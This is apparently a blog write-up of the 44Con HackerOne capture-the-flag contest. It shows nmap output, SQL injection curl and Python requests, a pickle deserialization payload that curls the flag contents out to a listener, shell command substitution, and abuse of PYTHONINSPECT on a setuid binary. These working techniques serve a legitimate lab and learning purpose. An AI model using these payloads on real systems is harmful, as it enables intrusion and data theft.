44Con HackerOne CTF write up

Greg
Greg
Sep 16 · 11 min read
44Con CTF
Starting Nmap 7.80 ( https://nmap.org ) at 2019-09-12 12:54 BST
Nmap scan report for 97.17.89.34.bc.googleusercontent.com (34.89.17.97)
Host is up (0.011s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE
22/tcp open ssh
23/tcp open telnet
53/tcp open domain
2222/tcp open EtherNetIP-1
3389/tcp closed ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 6.19 seconds
How To Play
The rules are simple: hack your way through the Tyrell Corporation and find the secrets.
Register your squad and get started!
You can access different systems via the System Access function, and if you run into a problem with a system and want to restart it, the System Termination menu will help you with that.
Found a secret? Enter it with the Data Entry function.
Good luck and remember: nothing lasts forever.
SSH to 34.89.17.97 for access
The game is only playable via SSH, only registration is available over telnet
Hint: The Tyrell CEO is rather fond of a game...

Level 1

Trivia

Which early film was a direct inspiration for the urban setting of the first film?
ANSWER> metropolis
What are the initials of the creator of the artificial language?
ANSWER> EJO
COMPLETE
Chew,^if 0nly y0u could_see_what I've se3n with your ey3s...
COMPLETE

Binary challenge 1

./main '$(cat flag)
> '
C'mon I need ya, Decks. Th1s is 4 bad one, the wors7 ye7. I need the old blade runner, I need_your magic.
sh: 2: .: Show: not found

Web challenge 1

curl 127.0.0.1
<!doctype html>
<html>
<body>
<p><b>ERROR: UNKNOWN</b></p>
<p>Live support unavailable.</p>
<!-- ERROR FLAG: Fiery 7he angels F311. Deep*thunder*rolled around_their shores. -->
</body>
</html>

Web challenge 2

curl 127.0.0.1/login -F"usermname=aaa" -F"submit='LOG IN'"
curl 127.0.0.1/login -F"username=' OR 1=1 --" -F"submit='LOG IN'" -F"password="
curl 127.0.0.1/login -F"username=' OR 1=1 AND 0=1 --" -F"submit='LOG IN'" -F"password="
curl 127.0.0.1/login -F"username=' OR 1=1 AND 0=1 UNION SELECT tbl_name from sqlite_master --" -F"submit=LOG IN" -F"password="
curl 127.0.0.1/login -F"username=' OR 1=1 AND 0=1 UNION SELECT * from flag --" -F"submit=LOG IN" -F"password="
INSUFFICIENT ACCESS FOR USER I had in mind 5ome7hing.a.little m0re~radical.

Web challenge 3

user@c3e043a3f830:/app$ ls -alh
total 24K
drwxr-xr-x 1 root root 4.0K Sep 16 20:41 .
drwxr-xr-x 1 root root 4.0K Sep 16 20:41 ..
-r--r--r-- 1 user root 5 Sep 11 15:18 .a
-r-------- 1 root root 21 Sep 11 15:18 flag
-rw------- 1 root root 741 Sep 11 15:18 main.py
user@c3e043a3f830:/app$ cat .a
T~i%4user@c3e043a3f830:/app$
Base64 decoding in CyberChef
class Exploit(object):
def __reduce__(self):
import os
return (os.system, ('curl http://127.0.0.1:8000?`cat flag`',))
base64.b64encode(pickle.dumps(Exploit()))
'Y3Bvc2l4CnN5c3RlbQpwMAooUydjdXJsIGh0dHA6Ly8xMjcuMC4wLjE6ODAwMD9gY2F0IGZsYWdgJwpwMQp0cDIKUnAzCi4='
with open('a', 'wb') as f:
f.write(base64.b64encode(pickle.dumps(Exploit())))
user@1b352803907b:/app$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [12/Sep/2019 17:44:45] "GET /?Tha7's%%the_spirit!1! HTTP/1.1" 200 -
curl 127.0.0.1

Trivia challenge 2

Web challenge 4

import requests
h={"Content-type":"application/x-www-form-urlencoded"}
p={"submit":"LOG IN", "password":"", "username":"eldon"}
requests.post("http://127.0.0.1/login", headers=h, data=p).textdef send(username, password):
h={"Content-type":"application/x-www-form-urlencoded"}
p={"submit":"LOG IN", "password":"", "username":"eldon"}
p["password"]=password
p["username"]=username
r=requests.post("http://127.0.0.1/login", headers=h, data=p)
print(r)
print(r.text)
send("eldon') OR 1=1; INSERT INTO USERS (username, password) VALUES('g','86f7e437faa5a7fce15d1ddcb9eaeaea377667b8')","")`
<Response [200]>
<b>ERROR</b>
<Response [200]>
<b>INSUFFICIENT ACCESS FOR USER CREATE VIEW v_t AS SELECT eval('5+3')</b>
send("' UNION SELECT * from v_t --","b")
<Response [200]>
<b>INSUFFICIENT ACCESS FOR USER 8</b>
send("' UNION SELECT CREATE VIEW v_h AS SELECT eval(open(\"./flag\").read()) --","b")
<Response [200]>
<b>ERROR</b>
send("' UNION SELECT CREATE VIEW v_h AS SELECT eval('10+2')--","b")
send("' UNION SELECT 1; CREATE VIEW v_h AS SELECT eval('open(\"./flag\").read()'); COMMIT --","")
send("' UNION SELECT eval(\"open(\"\"/app/flag\"\").read()\") --", "")
<Response [200]>
<b>INSUFFICIENT ACCESS FOR USER Ha1f as much-but twic3 as elegant,, sweetheart.</b>

Binary challenge 2

undefined8 main(void){
long lVar1;
int local_90;
int local_8c;
char local_88 [112];
size_t local_18;
FILE *local_10;

setuid(0);
printf("%p\n",main);
printf("%p\n",local_88);
sleep(3);
local_10 = fopen("message","rb");
fseek(local_10,0,2);
lVar1 = ftell(local_10);
local_18 = lVar1 - 4;
fseek(local_10,0,0);
fread(&local_8c,4,1,local_10);
fread(local_88,1,local_18,local_10);
local_88[local_18] = '\0';
local_90 = 0;
crc32(local_88,local_18,&local_90,local_18);
if (local_90 == local_8c) {
puts(local_88);
}
else {
memset(local_88,0,local_18);
}
return 0;
}

Binary Challenge 3

user@49f834d28ca5:/app$ ls -alh
total 44K
drwxr-xr-x 1 root root 4.0K Sep 13 16:56 .
drwxr-xr-x 1 root root 4.0K Sep 13 16:56 ..
-rw-r--r-- 1 root root 129 Sep 11 15:18 flag
-rw------- 1 root root 64 Sep 11 15:18 key
-rws--x--x 1 root root 20K Sep 11 15:21 main
-r-------- 1 root root 1011 Sep 11 15:18 rmain.py
./main aaaaaaaaaaaaa
AES256 HSM Tester
USAGE: ./main encrypt [plaintext]
USAGE: ./main load [hex key data]
import subprocess
ab="0123456789abcdef"
>>> for guess in itertools.product(ab, repeat=32):
... guess=''.join(guess)
... out=subprocess.check_output(['./main', 'load', guess])
... if out != 'Success\n':
... print(guess)
... print(out)
user@49f834d28ca5:/app$ export PYTHONINSPECT=1
user@49f834d28ca5:/app$ ./main as
AES256 HSM Tester
USAGE: ./main encrypt [plaintext]
USAGE: ./main load [hex key data]
>>> k=open('key','rb').read()
>>> k
'ab1c2220399ce04fa6ab73a7506f7c3de09676e5f14b050a73fec4023a6734c8'
user@49f834d28ca5:/app$ export PYTHONINSPECT=1
user@49f834d28ca5:/app$ ./main a
AES256 HSM Tester
USAGE: ./main encrypt [plaintext]
USAGE: ./main load [hex key data]
>>> print(open('rmain.py').read())
#!/usr/local/bin/python
import sys
from Crypto.Cipher import AES
def main(*args):
try:
if len(args) != 2 or args[0] not in ('encrypt', 'load'):
print 'AES256 HSM Tester'
print 'USAGE: ./main encrypt [plaintext]'
print 'USAGE: ./main load [hex key data]'
return
if args[0] == 'encrypt':
key = file('key', 'rb').read().decode('hex')[:32]
data = args[1]
while len(data) % 32:
data += '\0'
obj = AES.new(key, AES.MODE_ECB)
ct = obj.encrypt(data)
print ''.join('%02x' % ord(c) for c in ct)
else:
try:
nkey = args[1].decode('hex')
assert len(nkey) % 4 == 0
except:
print 'Invalid key format. Example key: 0123456789abcdef0123456789abcdef'
return
with file('key', 'rb') as fp:
key = fp.read().decode('hex')
key = nkey + key[len(nkey):]
key = ''.join('%02x' % ord(c) for c in key)
with file('key', 'wb') as fp:
fp.write(key)
print 'Success'
except:
print 'Unknown error occurred'
if __name__=='__main__':
main(*sys.argv[1:])
>>> key=open('key','rb').read().decode('hex')[:32]
>>> key
'\xab\x1c" 9\x9c\xe0O\xa6\xabs\xa7Po|=\xe0\x96v\xe5\xf1K\x05\ns\xfe\xc4\x02:g4\xc8'
>>> o=AES.new(key,AES.MODE_ECB)
>>> f=open('flag','rb').read()
>>> f
'63e7067ed6bb9d6083dff9bb3e1db60113a4786287c0baa7a31070cbe2afc85d48c45d208fa3f45a5cfe7570a7093491bbff9990200cd56e69019c9093b8f3ba\n'
>>> f[:-1].decode('hex')
'c\xe7\x06~\xd6\xbb\x9d`\x83\xdf\xf9\xbb>\x1d\xb6\x01\x13\xa4xb\x87\xc0\xba\xa7\xa3\x10p\xcb\xe2\xaf\xc8]H\xc4] \x8f\xa3\xf4Z\\\xfeup\xa7\t4\x91\xbb\xff\x99\x90 \x0c\xd5ni\x01\x9c\x90\x93\xb8\xf3\xba'
>>> flag=f[:-1].decode('hex')
>>> o.decrypt(flag)
"We're not*computers, 5ebastian, we're_phy5ical.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
>>>

Conclusion

44con leaderboard at the end of the conference

Greg

Written by

Greg

Security addict, 17+ years in industry making systems more secure and finding those that aren’t

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade